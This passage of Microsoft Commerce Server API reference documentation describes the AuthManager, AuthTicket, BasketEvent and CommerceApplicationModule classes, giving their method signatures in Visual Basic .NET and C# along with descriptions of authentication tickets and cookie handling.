A string containing the event type for the class.

Remarks

For additions to basket events, the string "AIBSK" is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthenticationInfo Class (BCL)

Abstracts the authentication components.

Public Instance Methods

Method | Description
Dispose (Inherited from AuthManager) | Releases resources used by this object.
GenerateEncryptionKey (Inherited from AuthManager) | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Checks to see if the user was authenticated within the given time window.
IsAuthenticated(Int32) (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Allows the determination of whether the user has been authenticated within the default time window of 90 minutes.
Refresh(String) (Inherited from AuthManager) | Refreshes the siteconfig cache in the AuthManager object.
SetAuthTicket(String, Boolean) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) (Inherited from AuthManager) | Sets an MSCSProfile ticket for an anonymous user.

Public Instance Properties

Property | Description
AuthTicket (Inherited from AuthManager) | Retrieves the AuthTicket property.
ProfileTicket (Inherited from AuthManager) | Retrieves the ProfileTicket property.
SupportsPersistentCookies | Indicates if the user supports persistent cookies.
SupportsSessionCookies | Indicates if the user supports session cookies.

Protected Instance Methods

Method | Description
CheckState (Inherited from AuthManager) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from AuthManager) | Releases the unmanaged resources used by this class and optionally releases the managed the resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthenticationInfo Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from AuthManager) | Releases resources used by this object.
GenerateEncryptionKey (Inherited from AuthManager) | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) (Inherited from AuthManager) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the default time window of 90 minutes.
IsAuthenticated(Int32) (Inherited from AuthManager) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the given time window.
Refresh(String) (Inherited from AuthManager) | Refreshes the siteconfig cache in the AuthManager object.
SetAuthTicket(String, Boolean) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) (Inherited from AuthManager) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) (Inherited from AuthManager) | Sets an MSCSProfile ticket for an anonymous user.

Protected Instance Methods

Method | Description
CheckState (Inherited from AuthManager) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from AuthManager) | Releases the unmanaged resources used by this class and optionally releases the managed the resources.


AuthenticationInfo Properties (BCL)

Public Instance Properties

Property | Description
AuthTicket (Inherited from AuthManager) | Retrieves the AuthTicket property.
ProfileTicket (Inherited from AuthManager) | Retrieves the ProfileTicket property.
SupportsPersistentCookies | Indicates if the user supports persistent cookies.
SupportsSessionCookies | Indicates if the user supports session cookies.


AuthenticationInfo.SupportsPersistentCookies Property (BCL)

The SupportsPersistentCookies property is a read-only bool that indicates if the user supports persistent cookies.

Definition

[Visual Basic .NET]
Public ReadOnly Property SupportsPersistentCookies As System.Boolean
[C#]
public System.Boolean SupportsPersistentCookies {get;}

Property Value

Set to True if the user supports persistent cookies, False if the user does not support persistent cookies.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthenticationInfo.SupportsSessionCookies Property (BCL)

The SupportsSessionCookies property is a read-only bool that indicates if the user supports session cookies.

Definition

[Visual Basic .NET]
Public ReadOnly Property SupportsSessionCookies As System.Boolean
[C#]
public System.Boolean SupportsSessionCookies {get;}

Property Value

Set to True if the user supports session cookies, False if the user does not support session cookies.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Class (BCL)

Use this object to perform user identification and authentication and to manage user security information.

Public Instance Constructor

Constructor | Description
AuthManager Constructor(String, DebugContext) | Creates a new instance of the AuthManager class.

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GenerateEncryptionKey | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the default time window of 90 minutes.
IsAuthenticated(Int32) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the given time window.
Refresh(String) | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket(String, Boolean) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) | Sets an MSCSProfile ticket for an anonymous user.

Public Instance Properties

Property | Description
AuthTicket | Retrieves the AuthTicket property.
ProfileTicket | Retrieves the ProfileTicket property.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Remarks

The methods GetUserIDFromCookie(String), GetUserIDFromCookieAndKey(String, String) and GenerateEncryptionKey, facilitate rolling key encryption functionality. For more information about this feature, see Rolling Key Encryption.

Any operation that requires decryption of the ticket will fail if you change the encryption key. One important instance of this behavior is with profile tickets, because they are persisted on the client computer. Hence when a user with a persisted profile ticket that was encrypted with the old key comes back to the site, the AuthManager is not be able to decrypt this ticket. For more information about this issue, see Rolling Key Encryption.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server Family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Constructor (BCL)

Public Instance Constructor

Constructor | Description
AuthManager Constructor(String, DebugContext) | Creates a new instance of the AuthManager class.


AuthManager Constructor (String, DebugContext) (BCL)

Use this method to create a new instance of the AuthManager class.

[Visual Basic .NET]
Public Sub New( _
  ByVal siteName As System.String, _
  ByVal debugContext As DebugContext _
)
[C#]
public AuthManager(
  System.String siteName,
  DebugContext debugContext
);

Parameters

[Visual Basic .NET]
siteName
A String that contains the Commerce Server site name.
debugContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user.
[C#]
siteName
A String that contains the Commerce Server site name.
debugContext
An instance of the DebugContext class. Determines how debugging and tracing information output by this class will be output to the user.

Remarks

After any AuthManager instance has been initialized within an ASP.NET-based site, any new instances of the AuthManager class initialized within that site use the cached resources as loaded by the first constructor. Therefore, even if a different value is used for the siteName parameter, the AuthManager object will still be configured to run using the site configuration specified in the first instance.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Methods (BCL)

Public Instance Methods

Method | Description
Dispose | Releases resources used by this object.
GenerateEncryptionKey | Generates an encryption key for encrypting/decrypting cookie and query string data for tickets.
GetUserIDFromCookie(String) | Retrieves the user ID from a specified cookie.
GetUserIDFromCookieAndKey(String, String) | Retrieves the user ID from a specified cookie using an encryption key.
IsAuthenticated | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the default time window of 90 minutes.
IsAuthenticated(Int32) | Determines whether the current user has a valid MSCSAuth ticket. Determines if the user was authenticated within the given time window.
Refresh(String) | Updates the cached site configuration resource properties after any of the properties have been changed.
SetAuthTicket(String, Boolean) | Sets an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.
SetAuthTicket(String, Boolean, Int32) | Sets an encrypted MSCSAuth ticket for a registered user.
SetProfileTicket(String, Boolean) | Sets an MSCSProfile ticket for an anonymous user.

Protected Instance Methods

Method | Description
CheckState | Verifies that the object has not already been disposed.
Dispose(Boolean) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


AuthManager.CheckState Method (BCL)

Use this method to verify that the object has not already been disposed.

Definition

[Visual Basic .NET]
Protected Overridable Public Sub CheckState( _
)
[C#]
protected virtual void CheckState(
);

Remarks

Throws the ObjectDisposedException if the object has already been disposed.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.Dispose Method (BCL)

Use this method to release resources used by this object.

[Visual Basic .NET]
Overridable Public Sub Dispose( _
)
[C#]
public virtual void Dispose(
);

Implements

System.IDisposable

Remarks

This method calls the AuthManger.Dispose(Boolean) method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.Dispose(Boolean) Method (BCL)

Use this method to release the unmanaged resources used by this object and optionally release the managed resources.

Definition

[Visual Basic .NET]
Protected Overridable Sub Dispose( _
  ByVal disposing As System.Boolean _
)
[C#]
protected virtual void Dispose(
  System.Boolean disposing
);

Parameters

[Visual Basic .NET]
disposing
True if this was called from the Dispose method, False if called from the finalizer.
[C#]
disposing
True if this was called from the Dispose method, False if called from the finalizer.

Remarks

If this class is not sealed, derived classes can override this method to dispose of their resources. For more information, see the .NET Framework SDK documentation for implementing a Dispose method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.GenerateEncryptionKey Method (BCL)

Use this method to generate an encryption key for encrypting/decrypting cookie and query string data for tickets.

[Visual Basic .NET]
Public Function GenerateEncryptionKey( _
) As System.String
[C#]
public System.String GenerateEncryptionKey(
);

Return Value

This method returns a String containing an encryption key used for cookie encryption.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.GetUserIDFromCookie (String) Method (BCL)

Use this method to retrieve the user ID from a specified cookie.

[Visual Basic .NET]
Public Function GetUserIDFromCookie( _
  ByVal cookie As System.String _
) As System.String
[C#]
public System.String GetUserIDFromCookie(
  System.String cookie
);

Parameters

[Visual Basic .NET]
cookie
A String containing the cookie.
[C#]
cookie
A String containing the cookie.

Return Value

This method returns a String containing the user ID from the specified cookie.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.GetUserIDFromCookieAndKey (String, String) Method (BCL)

Use this method to retrieve the user ID from a specified cookie using an encryption key.

[Visual Basic .NET]
Public Function GetUserIDFromCookieAndKey( _
  ByVal cookie As System.String, _
  ByVal encryptionKey As System.String _
) As System.String
[C#]
public System.String GetUserIDFromCookieAndKey(
  System.String cookie,
  System.String encryptionKey
);

Parameters

[Visual Basic .NET]
cookie
A String containing the cookie.
encryptionKey
A String containing the encryption key.
[C#]
cookie
A String containing the cookie.
encryptionKey
A String containing the encryption key.

Return Value

This method returns a String containing the user ID from the specified cookie and key.

Requirements

Platforms: Windows 2000, Windows .NET Server family


AuthManager.IsAuthenticated Method (BCL)

Use this method to determine whether the current user has a valid MSCSAuth ticket, authenticated within the default time window of 90 minutes.

[Visual Basic .NET]
Public Function IsAuthenticated( _
) As System.Boolean
[C#]
public System.Boolean IsAuthenticated(
);

Return Value

This method returns a Boolean indicating whether or not the current user is authenticated.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.IsAuthenticated (Int32) Method (BCL)

Use this method to determine whether the current user has a valid MSCSAuth ticket. Determines if the user has been authenticated within a specified period of time.

[Visual Basic .NET]
Public Function IsAuthenticated( _
  ByVal timeWindow As System.Int32 _
) As System.Boolean
[C#]
public System.Boolean IsAuthenticated(
  System.Int32 timeWindow
);

Parameters

[Visual Basic .NET]
timeWindow
An Integer that contains the time period in minutes.
[C#]
timeWindow
An Integer that contains the time period in minutes.

Return Value

This method returns a Boolean indicating whether or not the current user is authenticated with the given time window.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.Refresh (String) Method (BCL)

Use this method to update the cached site configuration resource properties after any of the properties have been changed.

[Visual Basic .NET]
Public Sub Refresh( _
  ByVal siteName As System.String _
)
[C#]
public void Refresh(
  System.String siteName
);

Parameters

[Visual Basic .NET]
siteName
A String that contains the Commerce Server site name.
[C#]
siteName
A String that contains the Commerce Server site name.

Remarks

The siteName parameter must be the same as the sitename that was used to initialize the authmanager class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.SetAuthTicket (String, Boolean) Method (BCL)

Use this method to set an encrypted MSCSAuth ticket for a registered user with the default time window of 90 minutes.

[Visual Basic .NET]
Public Sub SetAuthTicket( _
  ByVal userID As System.String, _
  ByVal cookieSupport As System.Boolean, _
)
[C#]
public void SetAuthTicket(
  System.String userID,
  System.Boolean cookieSupport,
);

Parameters

[Visual Basic .NET]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
[C#]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.SetAuthTicket (String, Boolean, Int32) Method (BCL)

Use this method to set an encrypted MSCSAuth ticket for a registered user.

[Visual Basic .NET]
Public Sub SetAuthTicket( _
  ByVal userID As System.String, _
  ByVal cookieSupport As System.Boolean, _
  ByVal timeWindow As System.Int32 _
)
[C#]
public void SetAuthTicket(
  System.String userID,
  System.Boolean cookieSupport,
  System.Int32 timeWindow
);

Parameters

[Visual Basic .NET]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
timeWindow
An Integer that contains the time period in minutes.
[C#]
userID
A String that contains the user ID.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
timeWindow
An Integer that contains the time period in minutes.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.SetProfileTicket (String, Boolean) Method (BCL)

Use this method to set an MSCSProfile ticket for an anonymous user.

[Visual Basic .NET]
Public Sub SetProfileTicket( _
  ByVal userID As System.String, _
  ByVal cookieSupport As System.Boolean _
)
[C#]
public void SetProfileTicket(
  System.String userID,
  System.Boolean cookieSupport
);

Parameters

[Visual Basic .NET]
userID
A String that contains the user ID. This parameter should be set to an empty string when logging a user off.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.
[C#]
userID
A String that contains the user ID. This parameter should be set to an empty string when logging a user off.
cookieSupport
A Boolean that indicates whether or not the client supports cookies.

Remarks

The Commerce Server .NET Application Framework Tutorial contains code samples that set a profile ticket for a user. For more information, see Step 7: Add User Login and Logoff Pages and Step 8: Add a New User Registration Page.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager Properties (BCL)

Public Instance Properties

Property | Description
AuthTicket | Retrieves the AuthTicket property.
ProfileTicket | Retrieves the ProfileTicket property.


AuthManager.AuthTicket Property (BCL)

The AuthTicket property contains the read-only AuthTicket for the user.

Definition

[Visual Basic .NET]
Public ReadOnly Property AuthTicket As AuthTicket
[C#]
public AuthTicket AuthTicket {get;}

Property Value

The AuthTicket for the user. This value is null if there is no AuthTicket present for the current request.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthManager.ProfileTicket Property (BCL)

The ProfileTicket property contains the read-only ProfileTicket for the user.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProfileTicket As ProfileTicket
[C#]
public ProfileTicket ProfileTicket {get;}

Property Value

The ProfileTicket for the user. This value is null if there is no ProfileTicket for the current request.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket Class (BCL)

Contains the authentication ticket for the user.

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.
SignOut | Deletes the AuthTicket if one exists.

Public Instance Properties

Property | Description
Item(String) | Retrieves properties set in the ticket by name.
UserID | Sets and retrieves the user ID property on the AuthTicket class.
Value (Inherited from TicketBase) | Retrieves the ticket in string form.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.
SignOut | Deletes the AuthTicket if one exists.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


AuthTicket.SignOut Method (BCL)

Use this method to delete the AuthTicket if one exists.

Definition

[Visual Basic .NET]
Public Sub SignOut( _
)
[C#]
public void SignOut(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves properties set in the ticket by name.
UserID | Sets and retrieves the user ID property on the AuthTicket class.
Value (Inherited from TicketBase) | Retrieves the ticket in string form.


AuthTicket.Item(String) Property (BCL)

The Item property is a read/write indexer that sets and retrieves the properties on an authentication ticket.

Definition

[Visual Basic .NET]
Overrides Public Property Item( _
  ByVal propertyName As System.String _
) As System.String
[C#]
public override System.String Item(
  System.String propertyName
) {get; set;}

Parameters

[Visual Basic .NET]
propertyName
A string that contains the name of the property.
[C#]
propertyName
A string that contains the name of the property.

Property Value

The name of the property on the authentication ticket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


AuthTicket.UserID Property (BCL)

The UserID property is a read-only string that contains the user ID on the authentication ticket.

Definition

[Visual Basic .NET]
Overrides Public Property UserID As System.String
[C#]
public override System.String UserID {get; set;}

Property Value

The user ID on the authentication ticket.

Remarks

The UserId property populates the CommerceContext.UserId property when the get method first tries to retrieve it from the AuthTicket of the AuthenticationInfo object, assuming the CommerceAuthenticationModule object is enabled for the site.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BaseCommerceEvent Class (BCL)

Abstract base class from which all Commerce event classes derive.

Protected Instance Constructor

Constructor | Description
BaseCommerceEvent Constructor | Creates a new instance of the BaseCommerceEvent class.

Public Instance Methods

Method | Description
Validate | Validates property values for specific event objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BaseCommerceEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
BaseCommerceEvent Constructor | Creates a new instance ofthe BaseCommerceEvent class.


BaseCommerceEvent Constructor (BCL)

Use this method to create a new instance of the BaseCommerceEvent class.

[Visual Basic .NET]
Protected Sub New( _
)
[C#]
public BaseCommerceEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BaseCommerceEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate | Validates property values for specific event objects.


BaseCommerceEvent.Validate Method (BCL)

Use this method to validate property values for specific event objects.

[Visual Basic .NET]
Overridable Public Function Validate( _
) As System.Boolean
[C#]
public virtual System.Boolean Validate(
);

Return Value

A Boolean indicating whether the property value is valid.

Remarks

This method checks the validity of the objects before logging the event object contents. This is good for checking cross-property validation and validating that all the mandatory fields were set correctly. Derived classes should override this method.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Class (BCL)

Provides base functionality for all the basket related events. This class cannot be used as a Commerce event. Use the AddItemToBasket class or the RemoveItemFromBasket class as a Commerce event instead.

Public Instance Constructor

Constructor | Description
BasketEvent Constructor | Creates a new instance of the BasketEvent class.

Public Instance Methods

Method | Description
Validate | Validates the CatalogName and ProductID properties for the basket event.

Public Instance Properties

Property | Description
CatalogName | The name of the catalog to which the product belongs.
ProductID | The product identifier for the product associated with the basket.
ReadOnlyPrID | This property is calculated internally and is read only.
VariantID | The variant ID for the product associated with the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
BasketEvent Constructor | Creates a new instance of the BasketEvent class.


BasketEvent Constructor (BCL)

Use this method to create a new instance of the BasketEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public BasketEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate | Validates the CatalogName and ProductID properties for the basket event.


BasketEvent.Validate Method (BCL)

Use this method to validate the CatalogName and ProductID properties for the basket event.

Definition

[Visual Basic .NET]
Overrides Public Function Validate( _
) As System.Boolean
[C#]
public override System.Boolean Validate(
);

Return Value

A System.Boolean that returns True if the CatalogName property and the ProductID property are not NULL.

Remarks

Overrides the default Validate function provided by the BaseCommerceEvent class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | The name of the catalog to which the product belongs.
ProductID | The product identifier for the product associated with the basket.
ReadOnlyPrID | This property is calculated internally and is read only.
VariantID | The variant ID for the product associated with the basket.


BasketEvent.CatalogName Property (BCL)

The CatalogName property is a read/write string that identifies the catalog to which the product belongs.

Definition

[Visual Basic .NET]
Public Property CatalogName As System.String
[C#]
public System.String CatalogName {get; set;}

Property Value

The name of the catalog to which the product belongs.

Remarks

This property must be set for a valid event.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent.ProductID Property (BCL)

The ProductID property is a read/write string that identfies the product ID for the product.

Definition

[Visual Basic .NET]
Public Property ProductID As System.String
[C#]
public System.String ProductID {get; set;}

Property Value

The name of the product ID for the product.

Remarks

This property must be set for a valid event.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent.ReadOnlyPrID Property (BCL)

The ReadOnlyPrID property is a read-only string that contains an internally generated string based on the values of the CatalogName property, the ProductID property, and the VariantID property.

Definition

[Visual Basic .NET]
Public ReadOnly Property ReadOnlyPrID As System.String
[C#]
public System.String ReadOnlyPrID {get;}

Property Value

An internally generated string.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


BasketEvent.VariantID Property (BCL)

The VariantID property is a read-only string that contains the variant ID for the product.

Definition

[Visual Basic .NET]
Public Property VariantID As System.String
[C#]
public System.String VariantID {get; set;}

Property Value

The variant ID for the product.

Remarks

Setting this property is optional.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Class (BCL)

The primary CommerceModule class responsible for initialization of the site framework. The CommerceApplicationModule class must be the first CommerceModule class listed in the httpModules section of the web.config file.

Public Instance Constructor

Constructor | Description
CommerceApplicationModule Constructor | Creates a new instance of the CommerceApplicationModule class.

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Creates a CommerceContext class and stores it in the HttpContext Items collection.
OnEndRequest(Object, EventArgs) | Releases the current CommerceContext object from the HttpContext Items collection and calls the Dispose method to clean up resources.

Public Instance Properties

Property | Description
IsInitialized (Inherited from CommerceModule) | Gets a Boolean that is set to True when the CommerceModule class instance is initialized.

Public Static (Shared) Properties

Property | Description
DebugContext | Gets or sets the debug mode for the DebugContext class.
Pipelines | Gets the site pipelines collection.
Resources | Gets the collection of Commerce Server resources configured for the site.
SiteName | Gets the Commerce Server site name.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Constructor (BCL)

Public Instance Constructor

Constructor | Description
CommerceApplicationModule Constructor | Creates a new instance of the CommerceApplicationModule class.


CommerceApplicationModule Constructor (BCL)

Use this method to create a new instance of the CommerceApplicationModule class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public CommerceApplicationModule(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from CommerceModule) | Releases resources used by this object.
Init(HttpApplication) | Initializes the module and sets up the event handlers.
OnBeginRequest(Object, EventArgs) | Creates a CommerceContext class and stores it in the HttpContext Items collection.
OnEndRequest(Object, EventArgs) | Releases the current CommerceContext object from the HttpContext Items collection and calls the Dispose method to clean up resources.

Protected Instance Methods

Method | Description
DeclareModuleDependency(Type, Type) (Inherited from CommerceModule) | Declares a dependency on another CommerceModule class, by type.
DeclareResourceDependency(String, Type) (Inherited from CommerceModule) | Declares a dependency on a Commerce Server site resource.
Dispose(Boolean) (Inherited from CommerceModule) | Releases the unmanaged resources used by this class and optionally releases the managed resources.


CommerceApplicationModule.Init (HttpApplication) Method (BCL)

Use this method to initialize the module and set up the event handlers.

Definition

[Visual Basic .NET]
Overrides Public Sub Init( _
  ByVal appInstance As System.Web.HttpApplication _
)
[C#]
public override void Init(
  System.Web.HttpApplication appInstance
);

Parameters

[Visual Basic .NET]
appInstance
The current HttpApplication instance.
[C#]
appInstance
The current HttpApplication instance.

Remarks

The SiteName, Resources, Pipelines, and DebugContext properties are initialized after reading the <application> section of the Commerce Server config section.

Implements

System.Web.IHttpModule

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.OnBeginRequest (Object, EventArgs) Method (BCL)

Internal handler used for handling events raised by the application.

Definition

[Visual Basic .NET]
Public Sub OnBeginRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnBeginRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.

Remarks

This method creates a CommerceContext object and stores it in the HttpContext Items collection.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule.OnEndRequest (Object, EventArgs) Method (BCL)

Use this method to handle HttpApplication EndRequest events.

Definition

[Visual Basic .NET]
Public Sub OnEndRequest( _
  ByVal sender As System.Object, _
  ByVal e As System.EventArgs _
)
[C#]
public void OnEndRequest(
  System.Object sender,
  System.EventArgs e
);

Parameters

[Visual Basic .NET]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.
[C#]
sender
The HttpApplication instance that sent the event.
e
The current EventArgs instance.

Remarks

Releases the current CommerceContext object from the HttpContext Items collection and calls its Dispose method to clean up resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceApplicationModule Properties (BCL)

